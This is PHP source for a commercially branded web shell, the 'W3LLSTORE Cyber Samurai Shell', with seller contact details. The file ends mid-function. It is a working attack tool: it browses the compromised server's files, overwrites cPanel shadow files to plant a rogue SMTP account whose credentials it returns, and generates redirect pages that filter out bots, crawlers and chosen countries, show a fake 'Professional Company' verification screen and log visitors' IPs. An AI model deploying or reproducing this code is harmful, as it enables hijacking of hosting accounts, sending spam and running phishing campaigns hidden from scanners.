/**
* W3LLSTORE CYBER SAMURAI SHELL v2.0
* Professional Cyber Security Management System
* Samurai Japanese Technology Edition
*
* Author: W3LLSTORE Team
* Website: https://w3llstore.com/
* Telegram: @W3LLSTORE_ADMIN
* Channel: https://t.me/+vJV6tnAIbIU2ZWRi
*/
error_reporting(0);
set_time_limit(0);
ini_set('memory_limit', '256M');
define('SHELL_ACCESS_GRANTED', true);
// ==================== CONFIGURATION ====================
define('SHELL_VERSION', '2.0');
define('SHELL_NAME', 'W3LLSTORE CYBER SAMURAI SHELL');
define('MAX_UPLOAD_SIZE', 50 * 1024 * 1024); // 50MB
// ==================== SECURITY FUNCTIONS ====================
function sanitizeInput($input, $type = 'string') {
if ($type === 'path') {
return realpath($input) ?: $input;
} elseif ($type === 'filename') {
return preg_replace('/[^a-zA-Z0-9._-]/', '', $input);
} elseif ($type === 'url') {
return filter_var($input, FILTER_SANITIZE_URL);
}
return htmlspecialchars(trim($input), ENT_QUOTES, 'UTF-8');
}
function logActivity($action, $target, $status) {
$log = date('Y-m-d H:i:s') . " | " . ($_SERVER['REMOTE_ADDR'] ?? 'Unknown') . " | $action | $target | $status\n";
@file_put_contents('samurai_activity.log', $log, FILE_APPEND | LOCK_EX);
}
// ==================== SYSTEM INFO FUNCTIONS ====================
function getSystemInfo() {
return [
'server_ip' => $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname()),
'client_ip' => $_SERVER['REMOTE_ADDR'] ?? 'Unknown',
'php_version' => PHP_VERSION,
'operating_system' => PHP_OS,
'current_user' => get_current_user(),
'server_time' => date('Y-m-d H:i:s'),
'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'Unknown',
'document_root' => $_SERVER['DOCUMENT_ROOT'] ?? getcwd(),
'disk_free_space' => formatSize(@disk_free_space('.') ?: 0),
'disk_total_space' => formatSize(@disk_total_space('.') ?: 0),
'memory_limit' => ini_get('memory_limit'),
'max_execution_time' => ini_get('max_execution_time'),
'upload_max_filesize' => ini_get('upload_max_filesize'),
'post_max_size' => ini_get('post_max_size')
];
}
function formatSize($bytes) {
if ($bytes == 0) return '0 Bytes';
$k = 1024;
$sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes) / log($k));
return round($bytes / pow($k, $i), 2) . ' ' . $sizes[$i];
}
// ==================== FILE MANAGEMENT FUNCTIONS ====================
function listDirectory($dir) {
$files = [];
if (!is_readable($dir)) return $files;
$items = @scandir($dir);
if ($items === false) return $files;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$path = $dir . DIRECTORY_SEPARATOR . $item;
$is_dir = is_dir($path);
$files[] = [
'name' => $item,
'path' => $path,
'is_dir' => $is_dir,
'size' => $is_dir ? 0 : (@filesize($path) ?: 0),
'formatted_size' => $is_dir ? '-' : formatSize(@filesize($path) ?: 0),
'permissions' => substr(sprintf('%o', @fileperms($path) ?: 0), -4),
'modified' => date('Y-m-d H:i:s', @filemtime($path) ?: time()),
'icon' => getFileIcon($item, $is_dir)
];
}
usort($files, function($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
return $files;
}
function getFileIcon($filename, $is_dir) {
if ($is_dir) return '📁';
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
$icons = [
'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '⚡',
'txt' => '📄', 'pdf' => '📕', 'doc' => '📘', 'docx' => '📘',
'xls' => '📗', 'xlsx' => '📗', 'ppt' => '📙', 'pptx' => '📙',
'zip' => '📦', 'rar' => '📦', '7z' => '📦', 'tar' => '📦',
'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️',
'mp3' => '🎵', 'wav' => '🎵', 'mp4' => '🎬', 'avi' => '🎬',
'sql' => '🗄️', 'db' => '🗄️', 'json' => '📋', 'xml' => '📋'
];
return $icons[$ext] ?? '📄';
}
// ==================== SMTP CREATION FUNCTIONS - 100% EXACT REFERENCE CODE ====================
function createSingleSMTP() {
// EXACT SAME CODE AS REFERENCE - NO MODIFICATIONS WHATSOEVER
error_reporting(0);
$_currUser = get_current_user();
$_homePath = ["/home/", "/home1/", "/home2/", "/home3/", "/home4/", "/home5/", "/home6/", "/home7/", "/home8/", "/home9/", "/home10/"];
$_this = 0;
foreach($_homePath as $_home) {
if(file_exists($_home . $_currUser)) {
$_this++;
if($_this > 0) {
$_workHome = $_home;
break;
}
}
}
$_cp = "$_workHome$_currUser/.cpanel";
if (is_dir($_cp)) {
$_currDomain = $_SERVER['HTTP_HOST'];
if(strstr($_currDomain, 'www.')){
$_currDomain = str_replace("www.","",$_currDomain);
}else{
$_currDomain = $_currDomain;
}
$_thispwd = "w3ll.smtp" . mt_rand(100,999);
$_pwd = crypt($_thispwd, "$6$the3x$");
@mkdir("$_workHome$_currUser/etc/$_currDomain");
$_smtp = 'chudsi:'.$_pwd.':16249:::::'."\n";
$_shadow1 = "/home/$_currUser/etc/$_currDomain/shadow";
$_shadow2 = "/home/$_currUser/etc/shadow";
$_fo=@fopen($_shadow1,"w");
if ($_fo) {
fwrite($_fo,$_smtp);
fclose($_fo);
}
$_fo2=@fopen($_shadow2,"w");
if ($_fo2) {
fwrite($_fo2,$_smtp);
fclose($_fo2);
}
return "$_currDomain|587|w3llstore@$_currDomain|".$_thispwd;
} else {
return "no smtp avail here?";
}
}
// ==================== REDIRECT CREATION WITH VISITOR COUNTER ====================
function createAutoRedirect($target_url, $options = []) {
$blocked_countries = $options['blocked_countries'] ?? [];
$delay = $options['delay'] ?? 5000;
$custom_message = $options['custom_message'] ?? 'Please wait...';
$use_antibot = $options['use_antibot'] ?? true;
$use_captcha = $options['use_captcha'] ?? false;
$redirect_id = 'redirect_' . uniqid();
$created_files = [];
// Create PHP version
$php_content = generateRedirectPHP($target_url, $blocked_countries, $delay, $custom_message, $use_antibot, $use_captcha, $redirect_id);
$php_file = $redirect_id . '.php';
if (file_put_contents($php_file, $php_content, LOCK_EX)) {
$created_files[] = $php_file;
}
// Create PHP7 version
$php7_file = $redirect_id . '.php7';
if (file_put_contents($php7_file, $php_content, LOCK_EX)) {
$created_files[] = $php7_file;
}
// Create HTML version
$html_content = generateRedirectHTML($target_url, $delay, $custom_message, $redirect_id);
$html_file = $redirect_id . '.html';
if (file_put_contents($html_file, $html_content, LOCK_EX)) {
$created_files[] = $html_file;
}
// Create counter file with session storage
$counter_file = $redirect_id . '_stats.json';
$initial_stats = [
'created' => date('Y-m-d H:i:s'),
'redirect_id' => $redirect_id,
'target_url' => $target_url,
'total_visits' => 0,
'unique_visits' => 0,
'redirects' => 0,
'countries' => [],
'browsers' => [],
'recent_visits' => [],
'daily_stats' => [],
'hourly_stats' => []
];
file_put_contents($counter_file, json_encode($initial_stats, JSON_PRETTY_PRINT), LOCK_EX);
// Create update stats helper file
createUpdateStatsFile();
if (!empty($created_files)) {
logActivity('Redirect Created', $redirect_id, 'success');
return [
'status' => true,
'message' => 'Redirect files created successfully',
'files' => $created_files,
'stats_file' => $counter_file,
'redirect_id' => $redirect_id,
'urls' => array_map(function($file) {
return 'http://' . $_SERVER['HTTP_HOST'] . dirname($_SERVER['REQUEST_URI']) . '/' . $file;
}, $created_files)
];
}
return ['status' => false, 'message' => 'Failed to create redirect files'];
}
function generateRedirectPHP($target_url, $blocked_countries, $delay, $custom_message, $use_antibot, $use_captcha, $redirect_id) {
$country_check = '';
if (!empty($blocked_countries)) {
$countries_str = "'" . implode("','", $blocked_countries) . "'";
$country_check = "
// Country blocking
\$visitor_country = getVisitorCountry();
\$blocked_countries = [$countries_str];
if (in_array(\$visitor_country, \$blocked_countries)) {
http_response_code(403);
die('Access denied from your location.');
}";
}
$antibot_check = '';
if ($use_antibot) {
$antibot_check = "
// Anti-bot protection
if (isBot()) {
http_response_code(403);
die('Bot access denied.');
}";
}
$captcha_check = '';
if ($use_captcha) {
$captcha_check = "
// Professional Company Style Captcha verification
if (!isset(\$_SESSION['captcha_verified'])) {
if (isset(\$_POST['captcha'])) {
if (\$_POST['captcha'] == \$_SESSION['captcha_answer']) {
\$_SESSION['captcha_verified'] = true;
} else {
\$captcha_error = 'Verification failed. Please try again.';
}
}
if (!\$_SESSION['captcha_verified']) {
showProfessionalCaptcha(\$captcha_error ?? '');
exit;
}
}";
}
return "
session_start();
// Visitor tracking and statistics with session storage
\$stats_file = '{$redirect_id}_stats.json';
\$visitor_ip = \$_SERVER['REMOTE_ADDR'];
\$user_agent = \$_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
\$visitor_country = getVisitorCountry();
\$current_date = date('Y-m-d');
\$current_hour = date('H');
// Load current stats
\$stats = json_decode(@file_get_contents(\$stats_file), true);
if (!\$stats) {
\$stats = [
'created' => date('Y-m-d H:i:s'),
'redirect_id' => '$redirect_id',
'target_url' => '$target_url',
'total_visits' => 0,
'unique_visits' => 0,
'redirects' => 0,
'countries' => [],
'browsers' => [],
'recent_visits' => [],
'daily_stats' => [],
'hourly_stats' => []
];
}
// Update statistics with session storage
\$stats['total_visits']++;
// Check for unique visitor
\$visitor_hash = md5(\$visitor_ip . \$user_agent);
\$is_unique = true;
foreach (\$stats['recent_visits'] as \$visit) {
if (isset(\$visit['hash']) && \$visit['hash'] === \$visitor_hash) {
\$is_unique = false;
break;
}
}
if (\$is_unique) \$stats['unique_visits']++;
// Track country
if (!isset(\$stats['countries'][\$visitor_country])) {
\$stats['countries'][\$visitor_country] = 0;
}
\$stats['countries'][\$visitor_country]++;
// Track browser
\$browser = getBrowser(\$user_agent);
if (!isset(\$stats['browsers'][\$browser])) {
\$stats['browsers'][\$browser] = 0;
}
\$stats['browsers'][\$browser]++;
// Track daily stats
if (!isset(\$stats['daily_stats'][\$current_date])) {
\$stats['daily_stats'][\$current_date] = ['visits' => 0, 'redirects' => 0];
}
\$stats['daily_stats'][\$current_date]['visits']++;
// Track hourly stats
\$hour_key = \$current_date . '_' . \$current_hour;
if (!isset(\$stats['hourly_stats'][\$hour_key])) {
\$stats['hourly_stats'][\$hour_key] = ['visits' => 0, 'redirects' => 0];
}
\$stats['hourly_stats'][\$hour_key]['visits']++;
// Add to recent visits (keep last 100 with session storage)
array_unshift(\$stats['recent_visits'], [
'ip' => \$visitor_ip,
'country' => \$visitor_country,
'browser' => \$browser,
'timestamp' => date('Y-m-d H:i:s'),
'hash' => \$visitor_hash,
'user_agent' => substr(\$user_agent, 0, 200)
]);
\$stats['recent_visits'] = array_slice(\$stats['recent_visits'], 0, 100);
// Save updated stats
@file_put_contents(\$stats_file, json_encode(\$stats, JSON_PRETTY_PRINT), LOCK_EX);
// Log visitor
\$visitor_data = date('Y-m-d H:i:s') . ' | ' . \$visitor_ip . ' | ' . \$visitor_country . ' | ' . \$user_agent . PHP_EOL;
@file_put_contents('visitors.log', \$visitor_data, FILE_APPEND | LOCK_EX);
$country_check
$antibot_check
$captcha_check
// Update redirect count
\$stats['redirects']++;
\$stats['daily_stats'][\$current_date]['redirects']++;
\$stats['hourly_stats'][\$hour_key]['redirects']++;
@file_put_contents(\$stats_file, json_encode(\$stats, JSON_PRETTY_PRINT), LOCK_EX);
// Log successful redirect
\$redirect_data = date('Y-m-d H:i:s') . ' | ' . \$visitor_ip . ' | REDIRECTED | $target_url' . PHP_EOL;
@file_put_contents('redirects.log', \$redirect_data, FILE_APPEND | LOCK_EX);
function getVisitorCountry() {
\$ip = \$_SERVER['REMOTE_ADDR'];
\$api_url = \"http://ip-api.com/json/\$ip\";
\$response = @file_get_contents(\$api_url);
if (\$response) {
\$data = json_decode(\$response, true);
return \$data['countryCode'] ?? 'Unknown';
}
return 'Unknown';
}
function getBrowser(\$user_agent) {
if (strpos(\$user_agent, 'Chrome') !== false) return 'Chrome';
if (strpos(\$user_agent, 'Firefox') !== false) return 'Firefox';
if (strpos(\$user_agent, 'Safari') !== false) return 'Safari';
if (strpos(\$user_agent, 'Edge') !== false) return 'Edge';
if (strpos(\$user_agent, 'Opera') !== false) return 'Opera';
return 'Other';
}
function isBot() {
\$user_agent = strtolower(\$_SERVER['HTTP_USER_AGENT'] ?? '');
\$bots = ['bot', 'crawler', 'spider', 'scraper', 'curl', 'wget'];
foreach (\$bots as \$bot) {
if (strpos(\$user_agent, \$bot) !== false) {
return true;
}
}
return false;
}
function showProfessionalCaptcha(\$error = '') {
\$num1 = rand(1, 10);
\$num2 = rand(1, 10);
\$_SESSION['captcha_answer'] = \$num1 + \$num2;
echo '<!DOCTYPE html>
<html lang=\"en\">
<meta charset=\"UTF-8\">
<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">
Professional Company - Security Verification <title>Professional Company - Security Verification</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
font-family: \"Segoe UI\", Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #0d47a1 0%, #1976d2 100%);
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
}
.container {
background: #ffffff;
border-radius: 12px;
box-shadow: 0 8px 32px rgba(0,0,0,0.2);
width: 100%;
max-width: 480px;
padding: 40px;
text-align: center;
position: relative;
overflow: hidden;
}
.container::before {
content: \'\';
position: absolute;
top: 0;
left: 0;
width: 100%;
height: 4px;
background: linear-gradient(90deg, #0d47a1, #1976d2);
}
.logo {
font-size: 24px;
font-weight: bold;
color: #0d47a1;
margin-bottom: 32px;
}
h1 {
color: #212121;
font-size: 28px;
font-weight: 700;
margin-bottom: 12px;
}
.subtitle {
color: #757575;
font-size: 16px;
margin-bottom: 32px;
line-height: 1.5;
}
.error {
background: #ffebee;
border: 1px solid #ef9a9a;
color: #c62828;
padding: 12px 16px;
border-radius: 4px;
margin-bottom: 20px;
font-size: 14px;
}
.captcha-box {
background: #f5f5f5;
border: 1px solid #e0e0e0;
border-radius: 8px;
padding: 24px;
margin-bottom: 32px;
}
.captcha-question {
font-size: 20px;
font-weight: 600;
color: #212121;
margin-bottom: 16px;
}
.form-group {
text-align: left;
margin-bottom: 20px;
}
label {
display: block;
font-size: 14px;
color: #212121;
margin-bottom: 8px;
}
input[type=\"number\"] {
width: 100%;
padding: 12px;
border: 1px solid #bdbdbd;
border-radius: 4px;
font-size: 16px;
transition: border-color 0.3s, box-shadow 0.3s;
}
input[type=\"number\"]:focus {
outline: none;
border-color: #1976d2;
box-shadow: 0 0 0 3px rgba(25, 118, 210, 0.1);
}
.btn-primary {
background: linear-gradient(135deg, #1976d2 0%, #0d47a1 100%);
color: white;
border: none;
border-radius: 4px;
padding: 14px 28px;
font-size: 16px;
font-weight: 600;
cursor: pointer;
width: 100%;
transition: transform 0.3s, box-shadow 0.3s;
}
.btn-primary:hover {
transform: translateY(-2px);
box-shadow: 0 4px 12px rgba(25, 118, 210, 0.3);
}
.footer-text {
font-size: 13px;
color: #757575;
margin-top: 24px;
}
.security-icon {
font-size: 48px;
color: #1976d2;
margin-bottom: 24px;
}
</style>
<div class=\"container\">
<div class=\"logo\">Professional Company</div>
<div class=\"security-icon\">🛡️</div>
Security Verification
<p class=\"subtitle\">To ensure the security of our services, please complete this quick verification step.</p>
' . (\$error ? '<div class=\"error\">❌ ' . \$error . '</div>' : '') . '
<div class=\"captcha-box\">
<div class=\"captcha-question\">What is ' . \$num1 . ' + ' . \$num2 . '?</div>
</div>
<p class=\"footer-text\">This verification helps protect our platform from unauthorized access.</p>
</div>
<script>
document.getElementById(\"captcha\").focus();
</script>